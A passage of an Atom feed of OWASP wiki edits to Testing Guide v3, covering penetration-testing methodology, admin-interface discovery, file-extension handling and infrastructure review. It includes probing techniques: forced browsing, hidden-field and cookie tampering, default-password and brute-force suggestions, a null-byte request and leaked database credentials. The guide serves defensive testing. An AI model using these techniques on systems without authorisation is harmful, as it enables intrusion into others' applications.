&lt;br /&gt;
OWASP-SM-006	- 4.7.6 Testing for HTTP Exploit	- HTTP Splitting, Smuggling&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Data Validation Testing	'''&lt;br /&gt;
&lt;br /&gt;
OWASP-DV-001	- 4.8.1 Testing for Reflected Cross Site Scripting - Reflected XSS&lt;br /&gt;
&lt;br /&gt;
OWASP-DV-002	- 4.8.2 Testing for Stored Cross Site Scripting - Stored XSS&lt;br /&gt;
&lt;br /&gt;
OWASP-DV-003	- 4.8.3 Testing for DOM based Cross Site Scripting - DOM XSS&lt;br /&gt;
&lt;br /&gt;
OWASP-DV-004	- 4.8.4 Testing for Cross Site Flashing	- Cross Site Flashing&lt;br /&gt;
&lt;br /&gt;
OWASP-DV-005	- 4.8.5 SQL Injection	- SQL Injection&lt;br /&gt;
&lt;br /&gt;
OWASP-DV-006	- 4.8.6 LDAP Injection - LDAP Injection  &lt;br /&gt;
&lt;br /&gt;
OWASP-DV-007	- 4.8.7 ORM Injection - ORM Injection&lt;br /&gt;
&lt;br /&gt;
OWASP-DV-008	- 4.8.8 XML Injection - XML Injection&lt;br /&gt;
&lt;br /&gt;
OWASP-DV-009	- 4.8.9 SSI Injection - SSI Injection&lt;br /&gt;
&lt;br /&gt;
OWASP-DV-010	- 4.8.10 XPath Injection	- XPath Injection&lt;br /&gt;
&lt;br /&gt;
OWASP-DV-011	- 4.8.11 IMAP/SMTP Injection - IMAP/SMTP Injection&lt;br /&gt;
&lt;br /&gt;
OWASP-DV-012	- 4.8.12 Code Injection	- Code Injection&lt;br /&gt;
&lt;br /&gt;
OWASP-DV-013	- 4.8.13 OS Commanding	- OS Commanding&lt;br /&gt;
&lt;br /&gt;
OWASP-DV-014	- 4.8.14 Buffer overflow	- Buffer overflow&lt;br /&gt;
&lt;br /&gt;
OWASP-DV-015	- 4.8.15 Incubated vulnerability	- Incubated vulnerability&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Denial of Service Testing	'''&lt;br /&gt;
&lt;br /&gt;
OWASP-DS-001	- 4.9.1 Locking Customer Accounts	- Locking Customer Accounts&lt;br /&gt;
&lt;br /&gt;
OWASP-DS-002	- 4.9.2 User Specified Object Allocation	- User Specified Object Allocation&lt;br /&gt;
&lt;br /&gt;
OWASP-DS-003	- 4.9.3 User Input as a Loop Counter	- User Input as a Loop Counter&lt;br /&gt;
&lt;br /&gt;
OWASP-DS-004	- 4.9.4 Writing User Provided Data to Disk	- Writing User Provided Data to Disk&lt;br /&gt;
&lt;br /&gt;
OWASP-DS-005	- 4.9.5 Failure to Release Resources	- Failure to Release Resources&lt;br /&gt;
&lt;br /&gt;
OWASP-DS-006	- 4.9.6 Storing too Much Data in Session	- Storing too Much Data in Session&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Web Services Testing	'''&lt;br /&gt;
&lt;br /&gt;
OWASP-WS-001 - 4.10.1 WS Information Gathering - N.A.&lt;br /&gt;
&lt;br /&gt;
OWASP-WS-002 - 4.10.2 Testing WSDL - WSDL Weakness&lt;br /&gt;
&lt;br /&gt;
OWASP-WS-003	- 4.10.3 XML Structural Testing	- Weak XML Structure&lt;br /&gt;
&lt;br /&gt;
OWASP-WS-004	- 4.10.4 XML content-level Testing - XML content-level &lt;br /&gt;
&lt;br /&gt;
OWASP-WS-005	- 4.10.5 HTTP GET parameters/REST Testing - WS HTTP GET parameters/REST &lt;br /&gt;
&lt;br /&gt;
OWASP-WS-006	- 4.10.6 Naughty SOAP attachments - WS Naughty SOAP attachments&lt;br /&gt;
&lt;br /&gt;
OWASP-WS-007	- 4.10.7 Replay Testing - WS Replay Testing&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Ajax Testing	'''&lt;br /&gt;
&lt;br /&gt;
OWASP-AJ-001	- 4.11.1 AJAX Vulnerabilities - N.A.&lt;br /&gt;
&lt;br /&gt;
OWASP-AJ-002	- 4.11.2 How to test AJAX - AJAX weakness&lt;/div&gt;</summary>
		<author><name>Namn</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing:_Introduction_and_objectives&amp;diff=39069</id>
		<title>Testing: Introduction and objectives</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing:_Introduction_and_objectives&amp;diff=39069"/>
				<updated>2008-09-10T06:49:34Z</updated>
		
		<summary type="html">&lt;p&gt;Namn: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v3}}&lt;br /&gt;
&lt;br /&gt;
This Chapter describes the OWASP Web Application Penetration testing methodology and explains how to test each vulnerability.&lt;br /&gt;
&lt;br /&gt;
'''What is Web Application Penetration Testing?'''&amp;lt;br&amp;gt;&lt;br /&gt;
A penetration test is a method of evaluating the security of a computer system or network by simulating an attack. A Web Application Penetration Test focuses only on evaluating the security of a web application.&amp;lt;br&amp;gt;&lt;br /&gt;
The process involves an active analysis of the application for any weaknesses, technical flaws, or vulnerabilities. Any security issues that are found will be presented to the system owner together with an assessment of their impact and often with a proposal for mitigation or a technical solution.&lt;br /&gt;
&lt;br /&gt;
'''What is a vulnerability?'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
A vulnerability is a flaw or weakness in a system's design, implementation, or operation and management that could be exploited to violate the system's security policy. &lt;br /&gt;
A threat is a potential attack that, by exploiting a vulnerability, may harm the assets owned by an application (resources of value, such as the data in a database or in the file system).&lt;br /&gt;
A test is an action that tends to show a vulnerability in the application.&lt;br /&gt;
&lt;br /&gt;
'''Our approach in writing this guide'''&lt;br /&gt;
&lt;br /&gt;
The OWASP approach is Open and Collaborative:&lt;br /&gt;
* Open: every security expert can participate with his or her experience in the project. Everything is free.&lt;br /&gt;
* Collaborative: we usually perform brainstorming before the articles are written so we can share our ideas and develop a collective vision of the project. That means rough consensus, wider audience and participation.&amp;lt;br&amp;gt;&lt;br /&gt;
This approach tends to create a defined Testing Methodology that will be:&lt;br /&gt;
* Consistent&lt;br /&gt;
* Reproducible&lt;br /&gt;
* Under quality control&amp;lt;br&amp;gt;&lt;br /&gt;
The problems that we want to be addressed are:&lt;br /&gt;
* Document all&lt;br /&gt;
* Test all&lt;br /&gt;
We think it is important to use a method to test all known vulnerabilities and document all the pen test activities.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''What is the OWASP testing methodology?'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Penetration testing will never be an exact science where a complete list of all possible issues that should be tested can be defined. Indeed, penetration testing is only an appropriate technique for testing the security of web applications under certain circumstances. &lt;br /&gt;
The goal is to collect all the possible testing techniques, explain them and keep the guide updated.&amp;lt;br&amp;gt;&lt;br /&gt;
The OWASP Web Application Penetration Testing method is based on the black box approach. The tester knows nothing or very little information about the application to be tested.&lt;br /&gt;
The testing model consists of:&lt;br /&gt;
* Tester: Who performs the testing activities &lt;br /&gt;
* Tools and methodology: The core of this Testing Guide project&lt;br /&gt;
* Application: The black box to test&lt;br /&gt;
The test is divided into 2 phases:&lt;br /&gt;
* Passive mode: in the passive mode, the tester tries to understand the application's logic, plays with the application. Tools can be used for information gathering, for example, an HTTP proxy to observe all the HTTP requests and responses. At the end of this phase, the tester should understand all the access points (''gates'') of the application (e.g., HTTP headers, parameters, and cookies). For example, the tester could find the following:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
https://www.example.com/login/Authentic_Form.html&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
This may indicate an authentication form in which the application requests a username and a password. &amp;lt;br&amp;gt;&lt;br /&gt;
The following parameters represent two access points (gates) to the application:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://www.example.com/Appx.jsp?a=1&amp;amp;b=1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
In this case, the application shows two gates (parameters a and b).&lt;br /&gt;
All the gates found in this phase represent a point of testing. A spreadsheet with the directory tree of the application and all the access points would be useful for the second phase.&amp;lt;br&amp;gt; &amp;lt;br&amp;gt;&lt;br /&gt;
* Active mode: in this phase, the tester begins to test using the methodology described in the follow paragraphs.&lt;br /&gt;
&lt;br /&gt;
We have split the set of tests in 11 sub-categories:&lt;br /&gt;
* Information Gathering &lt;br /&gt;
* Configuration Management Testing&lt;br /&gt;
* Business Logic Testing&lt;br /&gt;
* Authentication Testing &lt;br /&gt;
* Authorization testing&lt;br /&gt;
* Session Management Testing&lt;br /&gt;
* Data Validation Testing &lt;br /&gt;
* Denial of Service Testing &lt;br /&gt;
* Web Services Testing &lt;br /&gt;
* Ajax Testing&lt;br /&gt;
&lt;br /&gt;
The following paragraphs describe the set of checklists that compose the methodology.&lt;/div&gt;</summary>
		<author><name>Namn</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Enumerate_Infrastructure_and_Application_Admin_Interfaces_(OTG-CONFIG-005)&amp;diff=39068</id>
		<title>Enumerate Infrastructure and Application Admin Interfaces (OTG-CONFIG-005)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Enumerate_Infrastructure_and_Application_Admin_Interfaces_(OTG-CONFIG-005)&amp;diff=39068"/>
				<updated>2008-09-10T06:24:51Z</updated>
		
		<summary type="html">&lt;p&gt;Namn: /* Black Box testing and example */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v3}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Administrator interfaces may be present in the application or on the application server to allow certain users to undertake privileged activities on the site. Tests should be undertaken to reveal if and how this privileged functionality can be accessed by an unauthorized or standard user.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
An application may require an administrator interface to enable a privileged user to access functionality that may make changes to how the site functions. Such changes may include:&lt;br /&gt;
&lt;br /&gt;
- user account provisioning&amp;lt;br&amp;gt;&lt;br /&gt;
- Site design and layout&amp;lt;br&amp;gt;&lt;br /&gt;
- data manipultion&amp;lt;br&amp;gt;&lt;br /&gt;
- configuration changes&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In many instances, such interfaces are usually implemented with little thought of how to separate them from the normal users of the site. Testing is aimed at discovering these administrator interfaces and accessing functionality intended for the privileged users. &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
The following describes vectors that may be used to test for the presence of administrative interfaces. These techniques may also be used for testing for related issues including privilege escalation and are described elsewhere in this guide in greater detail:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Directory and file Enumeration - An administrative interface may be present but not visibly available to the tester. Attempting to guess the path of the administrative interface may be as simple as requesting: &lt;br /&gt;
/admin or /administrator etc..&amp;lt;br&amp;gt;&lt;br /&gt;
A tester may have to also identify the filename of the administration page. Forcibly browsing to the identified page may provide access to the interface.&lt;br /&gt;
&lt;br /&gt;
* Comments and links in Source - Many sites use common code that is loaded for all site users. By examining all source sent to the client, links to administrator functionality may be discovered and should be investigated. &lt;br /&gt;
&lt;br /&gt;
* Reviewing Server and Application Documentation - If the application server or application is deployed in its default configuration it may be possible to access the administration interface using information described in configuration or help documentation. Default password lists should be consulted if an administrative interface is found and credentials are required.&lt;br /&gt;
&lt;br /&gt;
* Alternative Server Port - Administration interfaces may be seen on a different port on the host than the main application. For example, Apache Tomcat's Administration interface can often be seen on port 8080.&lt;br /&gt;
&lt;br /&gt;
* Parameter Tampering - A GET or POST parameter or a cookie variable may be required to enable the administrator functionality. Clues to this&lt;br /&gt;
include the presence of hidden fields such as:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;admin&amp;quot; value=&amp;quot;no&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
or in a cookie:&lt;br /&gt;
&lt;br /&gt;
 Cookie: session_cookie; useradmin=0&lt;br /&gt;
&lt;br /&gt;
Once an administrative interface has been discovered, a combination of the above techniques may be used to attempt to bypass authentication. If this fails, the tester may wish to attempt a brute force attack. In such an instance the tester should be aware of the potential for administrative account lockout if such functionality is present.&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
A more detailed examination of the server and application components should be undertaken to ensure hardening (i.e. administrator pages are not accessible to everyone through the use of IP filtering or other controls), and where applicable, verification that all components do not use default credentials or configurations.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Source code should be reviewed to ensure that the authorization and authentication model ensures clear separation of duties between normal users and site administrators. User interface functions shared between normal and administrator users should be reviewed to ensure clear separation between the drawing of such components and information leakage from such shared functionality.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
* Default Password list: http://www.governmentsecurity.org/articles/DefaultLoginsandPasswordsforNetworkedDevices.php&lt;/div&gt;</summary>
		<author><name>Namn</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Test_File_Extensions_Handling_for_Sensitive_Information_(OTG-CONFIG-003)&amp;diff=39067</id>
		<title>Test File Extensions Handling for Sensitive Information (OTG-CONFIG-003)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Test_File_Extensions_Handling_for_Sensitive_Information_(OTG-CONFIG-003)&amp;diff=39067"/>
				<updated>2008-09-10T05:48:33Z</updated>
		
		<summary type="html">&lt;p&gt;Namn: /* Brief Summary */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v3}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&lt;br /&gt;
File extensions are commonly used in web servers to easily determine which technologies / languages / plugins must be used to fulfill the web request.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
While this behavior is consistent with RFCs and Web Standards, using standard file extensions provides the pentester useful information about the underlying technologies used in a web appliance and greatly simplifies the task of determining the attack scenario to be used on particular technologies.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
In addition to this, misconfiguration in web servers could easily reveal confidential information about access credentials.&lt;br /&gt;
&lt;br /&gt;
==Description of the Issue==&lt;br /&gt;
&lt;br /&gt;
Determining how web servers handle requests corresponding to files having different extensions may help to understand web server behaviour depending on the kind of files we try to access. For example, it can help understand which file extensions are returned as text/plain versus those which cause execution on the server side. The latter are indicative of technologies / languages / plugins which are used by web servers or application servers, and may provide additional insight on how the web application is engineered. For example, a “.pl” extension is usually associated with server-side Perl support (though the file extension alone may be deceptive and not fully conclusive; for example, Perl server-side resources might be renamed to conceal the fact that they are indeed Perl related). See also next section on “web server components” for more on identifying server side technologies and components.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Black Box testing and example==&lt;br /&gt;
&lt;br /&gt;
Submit http[s] requests involving different file extensions and verify how they are handled. These verifications should be on a per web directory basis. &amp;lt;br&amp;gt;&lt;br /&gt;
Verify directories which allow script execution. Web server directories can be identified by vulnerability scanners, which look for the presence of well-known directories. In addition, mirroring the web site structure allows to reconstruct the tree of web directories served by the application. &amp;lt;br&amp;gt;&lt;br /&gt;
In case the web application architecture is load-balanced, it is important to assess all of the web servers. This may or may not be easy depending on the configuration of the balancing infrastructure. In an infrastructure with redundant components there may be slight variations in the configuration of individual web / application servers; this may happen for example if the web architecture employs heterogeneous technologies (think of a set of IIS and Apache web servers in a load-balancing configuration, which may introduce slight asymmetric behaviour between themselves, and possibly different vulnerabilities). &amp;lt;br&amp;gt;&lt;br /&gt;
'''Example:'''&amp;lt;br&amp;gt;&lt;br /&gt;
We have identified the existence of a file named connection.inc. Trying to access it directly gives back its contents, which are:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;?&lt;br /&gt;
   	mysql_connect(&amp;quot;127.0.0.1&amp;quot;, &amp;quot;root&amp;quot;, &amp;quot;&amp;quot;)&lt;br /&gt;
        or die(&amp;quot;Could not connect&amp;quot;);&lt;br /&gt;
 &lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
We determine the existence of a MySQL DBMS back end, and the (weak) credentials used by the web application to access it. This example (which occurred in a real assessment) shows how dangerous can be the access to some kind of files. &amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
The following file extensions should NEVER be returned by a web server, since they are related to files which may contain sensitive information, or to files for which there is no reason to be served. &amp;lt;br&amp;gt;&lt;br /&gt;
* .asa&lt;br /&gt;
* .inc&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
The following file extensions are related to files which, when accessed, are either displayed or downloaded by the browser. Therefore, files with these extensions must be checked to verify that they are indeed supposed to be served (and are not leftovers), and that they do not contain sensitive information. &amp;lt;br&amp;gt;&lt;br /&gt;
* .zip, .tar, .gz, .tgz, .rar, ...: (Compressed) archive files&lt;br /&gt;
* .java: No reason to provide access to Java source files&lt;br /&gt;
* .txt: Text files&lt;br /&gt;
* .pdf: PDF documents&lt;br /&gt;
* .doc, .rtf, .xls, .ppt, ...: Office documents&lt;br /&gt;
* .bak, .old and other extensions indicative of backup files (for example: ~ for Emacs backup files)&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
The list given above details only a few examples, since file extensions are too many to be comprehensively treated here. Refer to http://filext.com/ for a more thorough database of extensions. &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
To sum it up, in order to identify files having a given extensions, a mix of techniques can be employed, including: Vulnerability Scanners, spidering and mirroring tools, manually inspecting the application (this overcomes limitations in automatic spidering), querying search engines (see [[Spidering and googling AoC]]). See also [[Old file testing AoC]] which deals with the security issues related to &amp;quot;forgotten&amp;quot; files.&lt;br /&gt;
&lt;br /&gt;
==Gray Box testing and example==&lt;br /&gt;
&lt;br /&gt;
Performing white box testing against file extensions handling amounts at checking the configurations of web server(s) / application server(s) taking part in the web application architecture, and verifying how they are instructed to serve different file extensions.&lt;br /&gt;
If the web application relies on a load-balanced, heterogeneous infrastructure, determine whether this may introduce different behaviour.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Vulnerability scanners, such as Nessus and Nikto check for the existence of well-known web directories. They may allow as well to download the web site structure, which is helpful when trying to determine the configuration of web directories and how individual file extensions are served. Other tools that can be used for this purpose include:&lt;br /&gt;
* wget - http://www.gnu.org/software/wget&lt;br /&gt;
* curl - http://curl.haxx.se &lt;br /&gt;
* google for “web mirroring tools”.&lt;/div&gt;</summary>
		<author><name>Namn</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Test_Network/Infrastructure_Configuration_(OTG-CONFIG-001)&amp;diff=39064</id>
		<title>Test Network/Infrastructure Configuration (OTG-CONFIG-001)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Test_Network/Infrastructure_Configuration_(OTG-CONFIG-001)&amp;diff=39064"/>
				<updated>2008-09-10T04:22:30Z</updated>
		
		<summary type="html">&lt;p&gt;Namn: /* Review of the application architecture */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v3}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
The intrinsic complexity of interconnected and heterogeneous web server infrastructure, which can count hundreds of web applications, makes configuration management and review a fundamental step in testing and deploying every single application.&lt;br /&gt;
In fact it takes only a single vulnerability to undermine the security of the entire infrastructure, and even small and (almost) unimportant problems may evolve into severe risks for another application on the same server.&lt;br /&gt;
In order to address these problems, it is of utmost importance to perform an in-depth review of configuration and known security issues.&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&lt;br /&gt;
Proper configuration management of the web server infrastructure is very important in order to preserve the security of the application itself. If elements such as the web server software, the back-end database servers, or the authentication servers are not properly reviewed and secured, they might introduce undesired risks or introduce new vulnerabilities that might compromise the application itself.&lt;br /&gt;
&lt;br /&gt;
For example, a web server vulnerability that would allow a remote attacker to disclose the source code of the application itself (a vulnerability that has arisen a number of times in both web servers or application servers) could compromise the application, as anonymous users could use the information disclosed in the source code to leverage attacks against the application or its users.&lt;br /&gt;
&lt;br /&gt;
In order to test the configuration management infrastructure, the following steps need to be taken:&lt;br /&gt;
&lt;br /&gt;
* The different elements that make up the infrastructure need to be determined in order to understand how they interact with a web application and how they affect its security.&lt;br /&gt;
* All the elements of the infrastructure need to be reviewed in order to make sure that they don’t hold any known vulnerabilities.&lt;br /&gt;
* A review needs to be made of the administrative tools used to maintain all the different elements.&lt;br /&gt;
* The authentication systems, if any, need to reviewed in order to assure that they serve the needs of the application and that they cannot be manipulated by external users to leverage access.&lt;br /&gt;
* A list of defined ports which are required for the application should be maintained and kept under change control.&lt;br /&gt;
&lt;br /&gt;
== Black Box Testing and examples==&lt;br /&gt;
&lt;br /&gt;
===Review of the application architecture===&lt;br /&gt;
&lt;br /&gt;
The application architecture needs to be reviewed through the test to determine what different components are used to build the web application. In small setups, such as a simple CGI-based application, a single server might be used that runs the web server which executes the C, Perl, or Shell CGIs application, and perhaps authentication is also based on the web server authentication mechanisms. On more complex setups, such as an online bank system, multiple servers might be involved including: a reverse proxy, a front-end web server, an application server and a database server or LDAP server. Each of these servers will be used for different purposes and might be even be divided in different networks with firewalling devices between them, creating different DMZs so that access to the web server will not grant a remote user access to the authentication mechanism itself, and so that compromises of the different elements of the architecture can be isolated in a way such that they will not compromise the whole architecture.&lt;br /&gt;
&lt;br /&gt;
Getting knowledge of the application architecture can be easy if this information is provided to the testing team by the application developers in document form or through interviews, but can also prove to be very difficult if doing a blind penetration test.&lt;br /&gt;
&lt;br /&gt;
In the latter case, a tester will first start with the assumption that there is a simple setup (a single server) and will, through the information retrieved from other tests, derive the different elements and question this assumption that the architecture will be extended. The tester will start by asking simple questions such as: “Is there a firewalling system protecting the web server?” which will be answered based on the results of network scans targeted at the web server and the analysis of whether the network ports of the web server are being filtered in the network edge (no answer or ICMP unreachables are received) or if the server is directly connected to the Internet (i.e. returns RST packets for all non-listening ports). This analysis can be enhanced in order to determine the type of firewall system used based on network packet tests: is it a stateful firewall or is it an access list filter on a router? How is it configured? Can it be bypassed? &lt;br /&gt;
&lt;br /&gt;
Detecting a reverse proxy in front of the web server needs to be done by the analysis of the web server banner, which might directly disclose the existence of a reverse proxy (for example, if ‘WebSEAL’[1]  is returned). It can also be determined by obtaining the answers given by the web server to requests and comparing them to the expected answers. For example, some reverse proxies act as “intrusion prevention systems” (or web-shields) by blocking known attacks targeted at the web server. If the web server is known to answer with a 404 message to a request which targets an unavailable page and returns a different error message for some common web attacks like those done by CGI scanners it might be an indication of a reverse proxy (or an application-level firewall) which is filtering the requests and returning a different error page than the one expected. Another example: if the web server returns a set of available HTTP methods (including TRACE) but the expected methods return errors then there is probably something in between, blocking them. In some cases, even the protection system gives itself away:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
GET /web-console/ServerInfo.jsp%00 HTTP/1.0&lt;br /&gt;
&lt;br /&gt;
HTTP/1.0 200&lt;br /&gt;
Pragma: no-cache&lt;br /&gt;
Cache-Control: no-cache&lt;br /&gt;
Content-Type: text/html&lt;br /&gt;
Content-Length: 83&lt;br /&gt;
&lt;br /&gt;
&amp;lt;TITLE&amp;gt;Error&amp;lt;/TITLE&amp;gt;&lt;br /&gt;
&amp;lt;BODY&amp;gt;&lt;br /&gt;
&amp;lt;H1&amp;gt;Error&amp;lt;/H1&amp;gt;&lt;br /&gt;
FW-1 at XXXXXX: Access denied.&amp;lt;/BODY&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Example of the security server of Check Point Firewall-1 NG AI “protecting” a web server'''&lt;br /&gt;
&lt;br /&gt;
Reverse proxies can also be introduced as proxy-caches to accelerate the performance of back-end application servers. Detecting these proxies can be done based, again, on the server header or by timing requests that should be cached by the server and comparing the time taken to server the first request with subsequent requests.&lt;br /&gt;
&lt;br /&gt;
Another element that can be detected: network load balancers. Typically, these systems will balance a given TCP/IP port to multiple servers based on different algorithms (round-robin, web server load, number of requests, etc.). Thus, the detection of this architecture elements needs to be done by examining multiple requests and comparing results in order to determine if the requests are going to the same or different web servers. For example, based on the Date: header if the server clocks are not synchronised. [[Category:FIXME|the prior sentence needs a verb]] In some cases, the network load balance process might inject new information in the headers that will make it stand out distinctively, like the AlteonP cookie introduced by Nortel’s Alteon WebSystems load balancer.&lt;br /&gt;
&lt;br /&gt;
Application web servers are usually easy to detect. The request for several resources is handled by the application server itself (not the web server) and the response header will vary significantly (including different or additional values in the answer header). Another way to detect these is to see if the web server tries to set cookies which are indicative of an application web server being used (such as the JSESSIONID provided by some J2EE servers) or to rewrite URLs automatically to do session tracking.&lt;br /&gt;
&lt;br /&gt;
Authentication backends (such as LDAP directories, relational databases, or RADIUS servers) however, are not as easy to detect from an external point of view in an immediate way, since they will be hidden by the application itself.&lt;br /&gt;
&lt;br /&gt;
The use of a database backend can be determined simply by navigating an application. If there is highly dynamic content generated “on the fly,&amp;quot; it is probably being extracted from some sort of database by the application itself. Sometimes the way information is requested might give insight to the existence of a database back-end. For example, an online shopping application that uses numeric identifiers (‘id’) when browsing the different articles in the shop.  However, when doing a blind application test, knowledge of the underlying database is usually only available when a vulnerability surfaces in the application, such as poor exception handling or susceptibility to SQL injection.&lt;br /&gt;
&lt;br /&gt;
 [[Category:FIXME|the sentence &amp;quot;For example...&amp;quot; needs a verb]]&lt;br /&gt;
&lt;br /&gt;
===Known server vulnerabilities===&lt;br /&gt;
&lt;br /&gt;
Vulnerabilities found in the different elements that make up the application architecture, be it the web server or the database backend, can severely compromise the application itself. For example, consider a server vulnerability that allows a remote, unauthenticated user, to upload files to the web server, or even to replace files. This vulnerability could compromise the application, since a rogue user may be able to replace the application itself or introduce code that would affect the backend servers, as its application code would be run just like any other application.&lt;br /&gt;
&lt;br /&gt;
Reviewing server vulnerabilities can be hard to do if the test needs to be done through a blind penetration test. In these cases, vulnerabilities need to be tested from a remote site, typically using an automated tool; however, the testing of some vulnerabilities can have unpredictable results to the web server, and testing for others (like those directly involved in denial of service attacks) might not be possible due to the service downtime involved if the test was successful. Also, some automated tools will flag vulnerabilities based on the web server version retrieved. This leads to both false positives and false negatives: on one hand, if the web server version has been removed or obscured by the local site administrator, the scan tool will not flag the server as vulnerable even if it is; on the other hand, if the vendor providing the software does not update the web server version when vulnerabilities are fixed in it, the scan tool will flag vulnerabilities that do not exist. The latter case is actually very common in some operating system vendors that do backport patches of security vulnerabilities to the software they provide in the operating system but do not do a full upload to the latest software version. This happens in most GNU/Linux distributions such as Debian, Red Hat or SuSE. In most cases, vulnerability scanning of an application architecture will only find vulnerabilities associated with the “exposed” elements of the architecture (such as the web server) and will usually be unable to find vulnerabilities associated to elements which are not directly exposed, such as the authentication backends, the database backends, or reverse proxies in use.&lt;br /&gt;
&lt;br /&gt;
Finally, not all software vendors disclose vulnerabilities in public way, and therefore these weaknesses do not become registered within publicly known vulnerability databases[2]. This information is only disclosed to customers or published through fixes that do not have accompanying advisories. This reduces the usefulness of vulnerability scanning tools. Typically, vulnerability coverage of these tools will be very good for common products (such as the Apache web server, Microsoft’s Internet Information Server, or IBM’s Lotus Domino) but will be lacking for lesser known products.&lt;br /&gt;
&lt;br /&gt;
This is why reviewing vulnerabilities is best done when the tester is provided with internal information of the software used, including versions and releases used and patches applied to the software. With this information, the tester can retrieve the information from the vendor itself and analyze what vulnerabilities might be present in the architecture and how they can affect the application itself. When possible, these vulnerabilities can be tested in order to determine their real effects and to detect if there might be any external elements (such as intrusion detection or prevention systems) that might reduce or negate the possibility of successful exploitation. Testers might even determine, through a configuration review, that the vulnerability is not even present, since it affects a software component that is not in use.&lt;br /&gt;
&lt;br /&gt;
It is also worthwhile to notice that vendors will sometimes silently fix vulnerabilities and make them available on new software releases. Different vendors will have difference release cycles that determine the support they might provide for older releases. A tester with detailed information of the software versions used by the architecture can analyse the risk associated to the use of old software releases that might be unsupported in the short term or are already unsupported. This is critical, since if a vulnerability were to surface in an old software version that is no longer supported, the systems personnel might not be directly aware of it. No patches will be ever made available for it and advisories might not list that version as vulnerable (as it is unsupported). Even in the event that they are aware that the vulnerability is present and the system is, indeed, vulnerable, they will need to do a full upgrade to a new software release, which might introduce significant downtime in the application architecture or might force the application to be recoded due to incompatibilities with the latest software version.&lt;br /&gt;
&lt;br /&gt;
===Administrative tools===&lt;br /&gt;
&lt;br /&gt;
Any web server infrastructure requires the existence of administrative tools to maintain and update the information used by the application: static content (web pages, graphic files), applications source code, user authentication databases, etc. Depending on the site, technology or software used, administrative tools will differ. For example, some web servers will be managed using administrative interfaces which are, themselves, web servers (such as the iPlanet web server) or will be administrated by plain text configuration files (in the Apache case[3]) or use operating-system GUI tools (when using Microsoft’s IIS server or ASP.Net). In most cases, however, the server configuration will be handled using different file maintenance tools used by the web server, which are managed through FTP servers, WebDAV, network file systems (NFS, CIFS) or other mechanisms. Obviously, the operating system of the elements that make up the application architecture will also be managed using other tools. Applications may also have administrative interfaces embedded in them that are used to manage the application data itself (users, content, etc.).&lt;br /&gt;
&lt;br /&gt;
